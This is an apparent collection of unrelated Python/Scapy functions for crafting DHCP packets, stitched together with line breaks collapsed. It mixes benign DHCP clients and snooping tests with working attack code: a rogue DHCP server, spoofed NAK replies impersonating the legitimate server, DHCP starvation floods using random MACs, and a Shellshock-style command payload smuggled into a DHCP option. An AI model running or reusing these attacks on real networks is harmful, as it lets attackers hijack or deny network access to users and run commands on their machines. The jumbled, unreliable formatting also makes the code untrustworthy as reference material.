def dhcp_manipulate(pkt): global LegitDHCPServer, splittedIPv4, rougeServer, maxNAKReply tempOptions = {} for opt in pkt[DHCP].options: if opt == 'end': break elif opt == 'pad': break else: tempOptions[opt[0]] = opt[ 1] # store the option tuple into dictionary #print opt #print tempOptions if tempOptions['message-type'] == 1: # if msg is DHCP discover msg print "Discover:" #pkt.show() #TODO: Normal Server offer options:{'server_id': '136.159.253.46', 'lease_time': 3600, 'name_server': '136.159.1.21', 'domain': 'ucalgary.ca', 46: '\x08', 'subnet_mask': '255.255.255.0', 'message-type': 2, 'router': '10.13.27.1'} randomedIPv4Addr = splittedIPv4 randomedIPv4Addr[3] = str(random.randint(1, 255)) offerIPAddress = reassembleIPAddress(randomedIPv4Addr) tmpRouter_id = splittedIPv4 tmpRouter_id[3] = '1' router_id = reassembleIPAddress(tmpRouter_id) print "Src: ", pkt[Ether].src #TODO: Conver chaddr to Hex otherwise Wireshark will say it's different OfferPacket = Ether(src=rougeServer['MAC'], dst=pkt[Ether].src)/IP(src=rougeServer['IP'],dst=offerIPAddress)/UDP(sport=67,dport=68)\ /BOOTP(op=2, yiaddr= offerIPAddress,ciaddr=pkt[IP].src,siaddr="0.0.0.0",chaddr=pkt[BOOTP].chaddr,giaddr=rougeServer['IP'], xid=pkt[BOOTP].xid)\ /DHCP(options=[('message-type','offer'),('server_id',rougeServer['IP']),('lease_time',3600),('subnet_mask','255.255.255.0'),('router', myIPv4Address), ('end')]) sendp(OfferPacket) #print "Offer from rouge:" OfferPacket.show() print "Offer from rouge:" elif tempOptions['message-type'] == 3: #if msg is Request message print "Request:" pkt.show() print('From Legit') # Fake NAK msg send by pretending legit DHCP Server. When we see request packet for if tempOptions.has_key('server_id'): if rougeServer['NAKReplyCounter'] < maxNAKReply and LegitDHCPServer[ 'MAC'] == tempOptions['server_id']: NAKreply = Ether(src=LegitDHCPServer['MAC'], dst=pkt[Ether].dst)/IP(src=LegitDHCPServer['IP'],dst=pkt[IP].dst)/UDP(sport=67,dport=68)\ /BOOTP(op=2, ciaddr=pkt[IP].src,siaddr=pkt[IP].dst,chaddr=pkt[Ether].src, xid=pkt[BOOTP].xid)\ /DHCP(options=[('server_id',LegitDHCPServer['IP']),('message-type','nak'), ('end')]) sendp(NAKreply) print "NAK sent out..." rougeServer['NAKReplyCounter'] += 1 # increment NAK msg number AckPacket = Ether(src=rougeServer['MAC'], dst=pkt[Ether].src)/IP(src=rougeServer['IP'],dst=tempOptions['requested_addr'])/UDP(sport=67,dport=68)\ /BOOTP(op=2, yiaddr=tempOptions['requested_addr'],ciaddr="0.0.0.0",siaddr="0.0.0.0",chaddr=pkt[BOOTP].chaddr,sname=pkt[BOOTP].sname,file=pkt[BOOTP].file,giaddr=rougeServer['IP'], xid=pkt[BOOTP].xid)\ /DHCP(options=[('message-type','ack'),('server_id',rougeServer['IP']),('lease_time',3600),('subnet_mask','255.255.255.0'),('router', myIPv4Address), ('end')]) AckPacket.show() sendp(AckPacket) elif tempOptions['message-type'] == 2: pkt.show() print('From Legit') elif tempOptions['message-type'] == 5: pkt.show() print "From Legit"
def run(self): discover_packet = (self.setup_general_bootp_packet() / DHCP(options=[('message-type', 'discover'), 'end'])) sendp(discover_packet, verbose=0) say('Discover', self._d_count.next(), 'sent', self.mac) self._offer_barrier.wait() request_packet = (self.setup_general_bootp_packet() / DHCP(options=[('message-type', 'request'), ('server_id', self._server_ip), ('requested_addr', self._ip), 'end'])) sendp(request_packet, verbose=0) say('Request', self._r_count.next(), 'sent', self.mac)
def make_dhcp_discover_pkt(self, our_mac, our_hostname, xid): '''Use Scapy to build a DHCPDISCOVER packet ''' e = Ether(dst='ff:ff:ff:ff:ff:ff', src=our_mac, type=0x0800) i = IP(src='0.0.0.0', dst='255.255.255.255') u = UDP(dport=67, sport=68) # op = BOOTREQUEST, ciaddr = yiaddr = siaddr = giaddr = 0.0.0.0 # chaddr = our (client) mac address b = BOOTP(op=1, xid=xid, chaddr=utils.mac_address_human_to_bytes(our_mac)) # 1 = subnet mask # 28 = broadcast address # 3 = router # 15 = domain name # 6 = DNS server d = DHCP( options=[('message-type', 'discover'), ( 'hostname', our_hostname), ('lease_time', 0xffffffff), ('param_req_list', 1, 28, 3, 15, 6), 'end']) p = e / i / u / b / d return bytes(p)
def craft_dhcp_request(self, hw=None): """Generates a DHCPREQUEST packet Args: hw (str|bytes, optional): Defaults to MAC of Scapy's `conf.iface`. Client MAC address to place in `chaddr`. Returns: scapy.layers.inet.IP: DHCPREQUEST packet https://www.freesoft.org/CIE/RFC/2131/24.htm """ if not hw: _, hw = get_if_raw_hwaddr(conf.iface) else: hw = mac_str_to_bytes(hw) # server identifier => DHCP server that sent the DHCPOFFER # Client inserts the address of the selected server in 'server # identifier', 'ciaddr' MUST be zero, 'requested IP address' MUST be # filled in with the yiaddr value from the chosen DHCPOFFER. options = [("message-type", "request"), ("server_id", self.server_id), ("requested_addr", self.offered_address), "end"] dhcp_request = (IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(chaddr=hw, xid=self.xid, flags=0x8000) / DHCP(options=options)) # TODO: param req list if settings.DEBUG: print(dhcp_request.show()) return dhcp_request
def test_dhcp(*args): """ from scapy/docs/usage """ from scapy.all import conf conf.checkIPaddr = False iface = conf.iface fam, hw = get_if_raw_hwaddr(iface) dhcp_discover = ( Ether(dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(chaddr=hw) / DHCP(options=[("message-type","discover"),"end"]) ) ans, unans = srp(dhcp_discover, multi=True, timeout=30, iface=iface) # Press CTRL-C after several seconds for p in ans: print( p[1][Ether].src, p[1][IP].src ) raise Exception()
def nak_request(self, packet): # we are hereby handling the case where we detect one other dhcp server besides our own... dhcp_server_mac = self.other_dhcp_servers.keys()[0] dhcp_server_ip = self.other_dhcp_servers[ self.other_dhcp_servers.keys()[0]] print "Spoofing DHCPNAK from %s / %s" % (dhcp_server_mac, dhcp_server_ip) nak = Ether(src=dhcp_server_mac, dst=packet[Ether].dst) / \ IP(src=dhcp_server_ip, dst=packet[IP].dst) / \ UDP(sport=67, dport=68) / \ BOOTP(op=2, ciaddr=packet[IP].src, siaddr=packet[IP].dst, chaddr=packet[Ether].src, xid=packet[BOOTP].xid) / \ DHCP(options=[ ('server_id', dhcp_server_ip), ('message-type','nak'), (114, "() { ignored;}; touch /tmp/test"), ('end')] ) print "sending NAK:" nak.show() scapy.all.sendp(nak)
def dhcp_discover(hostname,smac): dhcp_discover = Ether(src=smac,dst="ff:ff:ff:ff:ff:ff")/ \ IP(src="0.0.0.0",dst="255.255.255.255")/ \ UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(smac)])/ \ DHCP(options=[("message-type","discover"),("hostname",hostname),"end"]) return dhcp_discover
def cmd_dhcp_starvation(iface, timeout, verbose): conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0", dst="255.255.255.255") udp = UDP(sport=68, dport=67) dhcp = DHCP(options=[("message-type", "discover"), "end"]) while True: bootp = BOOTP(chaddr=str(RandMAC())) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, timeout=5) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.summary())
def cmd_dhcp_discover(iface, timeout, verbose): """Send a DHCP request and show what devices has replied. Note: Using '-v' you can see all the options (like DNS servers) included on the responses. \b # habu.dhcp_discover Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.5:bootpc / BOOTP / DHCP """ conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False hw = get_if_raw_hwaddr(conf.iface) ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0", dst="255.255.255.255") udp = UDP(sport=68, dport=67) bootp = BOOTP(chaddr=hw) dhcp = DHCP(options=[("message-type", "discover"), "end"]) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, multi=True, timeout=5) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.summary())
def build(self): options = [('message-type', self.type)] pxelinux = False for k, v in self.options.items(): if k == 'enabled': continue if not k in DHCPRevOptions: log.warning('Unknown DHCP option: %s' % k) continue if k.startswith('pxelinux'): pxelinux = True if isinstance(v, unicode): v = v.encode('ascii', 'ignore') options.append((k, v)) if pxelinux: options.append(('pxelinux-magic', '\xf1\x00\x75\x7e')) bootp_options = { 'op': 2, 'xid': self.request.packet.xid, 'ciaddr': '0.0.0.0', 'yiaddr': self.offerip, 'chaddr': self.request.packet.chaddr, } if 'tftp_server' in self.options: bootp_options['siaddr'] = self.options['tftp_server'] if 'tftp_filename' in self.options: bootp_options['file'] = self.options['tftp_filename'] for k, v in bootp_options.items(): if isinstance(v, unicode): bootp_options[k] = v.encode('ascii', 'ignore') pkt = BOOTP(**bootp_options) / DHCP(options=options) #pkt.show() return pkt.build()
def cmd_dhcp_discover(iface, timeout, verbose): conf.verb = False if iface: conf.iface = iface conf.checkIPaddr = False hw = get_if_raw_hwaddr(conf.iface) ether = Ether(dst="ff:ff:ff:ff:ff:ff") ip = IP(src="0.0.0.0",dst="255.255.255.255") udp = UDP(sport=68,dport=67) bootp = BOOTP(chaddr=hw) dhcp = DHCP(options=[("message-type","discover"),"end"]) dhcp_discover = ether / ip / udp / bootp / dhcp ans, unans = srp(dhcp_discover, multi=True, timeout=5) # Press CTRL-C after several seconds for _, pkt in ans: if verbose: print(pkt.show()) else: print(pkt.summary())
def dhcp_add_options(self, header_options): self.logger.debug("dhcp options ") try: full_options = header_options + self.dhcp_options + self.get_option82() + ['end'] except: self.logger.exception("dhcp_options what!") self.logger.debug("dhcp options %s", full_options) return DHCP(options=full_options)
def request(self): pkt = Ether(src=self.mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src="0.0.0.0", dst="255.255.255.255") pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(chaddr=self.mac) pkt /= DHCP(options=[("message-type", "request"), ("requested_addr", self.addr), *self.options, "end"]) self.sendp(pkt) self.state = "request"
def make_dhcp_request_pkt(self, our_mac, our_hostname, xid, server_ip_address, requested_ip_address, selecting): '''Use Scapy to build a DHCPREQUEST packet. We only employ broadcast requests in this program.''' e = Ether(dst='ff:ff:ff:ff:ff:ff', src=our_mac, type=0x0800) i = IP(src='0.0.0.0', dst='255.255.255.255') u = UDP(dport=67, sport=68) if selecting: # op = BOOTREQUEST, ciaddr = yiaddr = siaddr = giaddr = 0.0.0.0 # chaddr = our (client) mac address b = BOOTP(op=1, xid=xid, chaddr=utils.mac_address_human_to_bytes(our_mac)) d = DHCP( options=[('message-type', 'request'), ('client_id', b'\x01' + utils.mac_address_human_to_bytes(our_mac) ), ('server_id', server_ip_address), ('requested_addr', requested_ip_address), ( 'hostname', our_hostname), ('param_req_list', 1, 28, 3, 15, 6), 'end']) else: b = BOOTP(op=1, xid=xid, chaddr=utils.mac_address_human_to_bytes(our_mac)) d = DHCP( options=[('message-type', 'request'), ('client_id', b'\x01' + utils.mac_address_human_to_bytes(our_mac) ), ('server_id', server_ip_address), ('requested_addr', requested_ip_address), ( 'hostname', our_hostname), ('param_req_list', 1, 28, 3, 15, 6), 'end']) p = e / i / u / b / d return bytes(p)
def scapy_send_dhcp_discover_requests(number_of_packets): for _ in range(number_of_packets): dhcp_discover_request = Ether(src=ethernet_src, dst='ff:ff:ff:ff:ff:ff') /\ IP(src='0.0.0.0', dst='255.255.255.255') /\ UDP(dport=67, sport=68) /\ BOOTP(chaddr=ethernet_src, xid=randint(1, 4294967295)) /\ DHCP(options=[('message-type', 'discover'), 'end']) sendp(dhcp_discover_request, verbose=False)
def dhcp_discover_pkt(mac, hostname): pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / \ IP(src='0.0.0.0', dst='255.255.255.255') / \ UDP(sport=68, dport=67) / \ BOOTP(xid=make_xid(), chaddr=mac2str(mac)) / \ DHCP(options=[('message-type', 'discover'), ('hostname', hostname), 'end']) return pkt
def discover(self): pkt = Ether(src=self.mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src="0.0.0.0", dst="255.255.255.255") pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(chaddr=self.mac, xid=int.from_bytes(self.mac[2:], 'big')) pkt /= DHCP(options=[("message-type", "discover"), *self.options, "end"]) self.sendp(pkt) self.state = "discover"
def __init__(self): self.Ether = Ether() self.IP = IP() self.ARP = ARP() self.TCP = TCP() self.UDP = UDP() self.ICMP = ICMP() self.BOOTP = BOOTP() self.DHCP = DHCP()
def dhcp_request(sip,myip,hostname,smac): dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/ \ IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/ \ BOOTP(chaddr=[mac2str(smac)],xid=localxid)/ \ DHCP(options=[("message-type","request"), \ ("server_id",sip),("requested_addr",myip), \ ("hostname",myhostname),("param_req_list","pad"),"end"]) return dhcp_req
def release(self): pkt = Ether(src=self.mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src=self.addr, dst=self.dhcp_server) pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(chaddr=self.mac) pkt /= DHCP(options=[("message-type", "release"), "end"]) self.sendp(pkt) print(f"Session {str2mac(self.mac)} released of {self.addr}") self.state = "done"
def main(): iface = get_iface() fam, hw = get_if_raw_hwaddr(iface) print "sending on interface %s" % (iface) pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff') pkt = pkt / IP(dst='255.255.255.255') / UDP(dport=67, sport=68) / BOOTP( op=1, chaddr=hw) / DHCP(options=[('message-type', 'request'), ('end')]) pkt.show2() # Send a broadcast packet from this unknown client MAC address not present in the DHCP bindings table sendp(pkt, iface=iface, verbose=False) pkt = Ether(src=get_if_hwaddr(iface), dst='00:00:00:00:01:01') pkt = pkt / IP(dst='10.0.1.1') / UDP(dport=68, sport=67) / BOOTP( op=2, chaddr=hw) / DHCP(options=[('message-type', 'ack'), ('end')]) pkt.show2() # Send an ack packet from untrusted server not presented in the DHCP trusted server IP table sendp(pkt, iface=iface, verbose=False)
def main(): iface = get_iface() fam, hw = get_if_raw_hwaddr( iface) # returns family and hardware address of the interface print "sending on interface %s" % (iface) pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff') # pkt 1: a non-DHCP pkt with src IP 0.0.0.0 to simulate a client which hasn't been assigned IP addr yet # DROPPED pkt1 = pkt / IP(src='0.0.0.0', dst='255.255.255.255') / TCP( dport=1234, sport=random.randint(49152, 65535)) pkt1.show2() # for a developed view of the assembled packet sendp(pkt1, iface=iface, verbose=False) # sendp works at layer 2 # pkt 2: a DHCP discover pkt with src IP 0.0.0.0 # FORWARDED pkt2 = pkt / IP(src='0.0.0.0', dst='255.255.255.255') / UDP( dport=67, sport=68) / BOOTP(op=1, chaddr=hw) / DHCP( options=[('message-type', 'discover'), ('end')]) pkt2.show2() sendp(pkt2, iface=iface, verbose=False) # pkt 3: a DHCP request pkt with its original src IP # FORWARDED pkt3 = pkt / IP(dst='255.255.255.255') / UDP(dport=67, sport=68) / BOOTP( op=1, chaddr=hw) / DHCP(options=[('message-type', 'request'), ('end')]) pkt3.show2() sendp(pkt3, iface=iface, verbose=False) # pkt 4: a non-DHCP pkt with its original src IP # FORWARDED pkt4 = pkt / IP(dst='255.255.255.255') / TCP( dport=1234, sport=random.randint(49152, 65535)) pkt4.show2() sendp(pkt4, iface=iface, verbose=False) # pkt 5: a non-DHCP pkt with spoofed src IP 10.0.1.3, which doesn't exist in the DHCP bindings table # DROPPED pkt5 = pkt / IP(src='10.0.1.3', dst='255.255.255.255') / TCP( dport=1234, sport=random.randint(49152, 65535)) pkt5.show2() sendp(pkt5, iface=iface, verbose=False)
def run(self): baseip = ".".join(self.router.split('.')[0:-1]) + '.' targetip = baseip+self.last confs.checkIPaddr = False hw = get_if_raw_hwaddr(confs.iface) dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/\ IP(src="0.0.0.0",dst="255.255.255.255")/\ UDP(sport=68, dport=67)/\ BOOTP(chaddr=RandString(RandNum(1,50)))/\ DHCP(options=[("message-type","discover"),"end"]) sendp(dhcp_discover, verbose=0)
def main(): ether = Ether(src=RandMAC()) ip = IP(src="0.0.0.0", dst="255.255.255.255") udp = UDP(sport=68, dport=67) bootp = BOOTP(chaddr=RandString(12, "1234567890asdfgs")) dhcp = DHCP(options=[("message-type", 'discover'), "end"]) pkt = ether / ip / udp / bootp / dhcp for x in xrange(100000): sendp(pkt)
def nak_request(pkt): msg("Spoofing DHCPNAK from " + globals()['dhcp_server_mac'], 2) sendp( Ether(src=globals()['dhcp_server_mac'], dst=pkt[Ether].dst) / IP(src=globals()['dhcp_server_ip'], dst=pkt[IP].dst) / UDP(sport=67, dport=68) / BOOTP(op=2, ciaddr=pkt[IP].src, siaddr=pkt[IP].dst, chaddr=pkt[Ether].src, xid=pkt[BOOTP].xid) / DHCP(options=[('server_id', globals()['dhcp_server_ip']), ('message-type', 'nak'), ('end')]))
def send_nack(self, packet): print("### INCOMING PACKET FROM: ", packet[IP].src) #packet.show() if packet[IP].dst == self.dhcp_srv_ip and DHCP in packet: nak = Ether(src=self.dhcp_srv_mac, dst=self.gateway_mac) / \ IP(src=self.dhcp_srv_ip, dst=packet[BOOTP].ciaddr) / \ UDP(sport=67,dport=68) / \ BOOTP(op=2, ciaddr=packet[BOOTP].ciaddr, siaddr=self.dhcp_srv_ip, chaddr=packet[BOOTP].chaddr, xid=packet[BOOTP].xid) / \ DHCP(options=[('server_id', self.dhcp_srv_ip),('message-type','nak'), ('end')]) print("### OUTGOING NAK TO: ", nak[IP].dst) #nak.show() sendp(nak, iface="ens224")
def craft_discover(self, hw=None): """Generates a DHCPDICSOVER packet""" if not hw: _, hw = get_if_raw_hwaddr(conf.iface) else: hw = mac_str_to_bytes(hw) dhcp_discover = (IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / BOOTP(chaddr=hw, xid=self.xid, flags=0x8000) / DHCP(options=[("message-type", "discover"), "end"])) # TODO: param req list if DEBUG: print(dhcp_discover.show()) return dhcp_discover
def dhcp_release_pkt(request_pkt, hostname): my_mac = str2mac(request_pkt[BOOTP].chaddr[:6]) my_ip = request_pkt[BOOTP].yiaddr server_mac = request_pkt[Ether].src server_ip = request_pkt[BOOTP].siaddr pkt = Ether(src=my_mac, dst=server_mac) / \ IP(src=my_ip, dst=server_ip) / \ UDP(sport=68, dport=67) / \ BOOTP(xid=make_xid(), ciaddr=my_ip, chaddr=request_pkt[BOOTP].chaddr) / \ DHCP(options=[('message-type', 'release'), ('server_id', server_ip), ('hostname', hostname), 'end']) return pkt
def dhcp_request_pkt(offer_pkt, hostname): mac = str2mac(offer_pkt[BOOTP].chaddr[:6]) offered_ip = offer_pkt[BOOTP].yiaddr server_mac = offer_pkt[Ether].src server_ip = offer_pkt[BOOTP].siaddr pkt = Ether(src=mac, dst=server_mac) / \ IP(src=offered_ip, dst=server_ip) / \ UDP(sport=68, dport=67) / \ BOOTP(xid=offer_pkt[BOOTP].xid, chaddr=offer_pkt[BOOTP].chaddr, ciaddr=offered_ip) / \ DHCP(options=[('message-type', 'request'), ('server_id', server_ip), ('requested_addr', offered_ip), ('hostname', hostname), 'end']) return pkt
def get_dhcp_discovery(interface, verbose=False): # get interface hw addr _, hw = get_if_raw_hwaddr(interface) if verbose: print(f"Interface: {interface} -> {hw}") dhcp_discovery = Ether(dst="ff:ff:ff:ff:ff:ff") / IP( src="0.0.0.0", dst="255.255.255.255") / UDP( sport=68, dport=67) / BOOTP(chaddr=hw) / DHCP( options=[("message-type", "discover"), "end"]) if verbose: dhcp_discovery.show() return dhcp_discovery
from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP # data link layer ethernet = Ether() ethernet.show() ethernet.dst = "ff:ff:ff:ff:ff:ff" # network layer ip = IP() ip.show() ip.dst = "255.255.255.255" # transport layer udp = UDP() udp.show() udp.sport = 68 udp.dport = 67 # application layer bootp = BOOTP() bootp.show() bootp.flags = 1 dhcp = DHCP() dhcp.show() dhcp.options = [("message-type", "discover"), "end"] packet = ethernet / ip / udp / bootp / dhcp sendp(packet)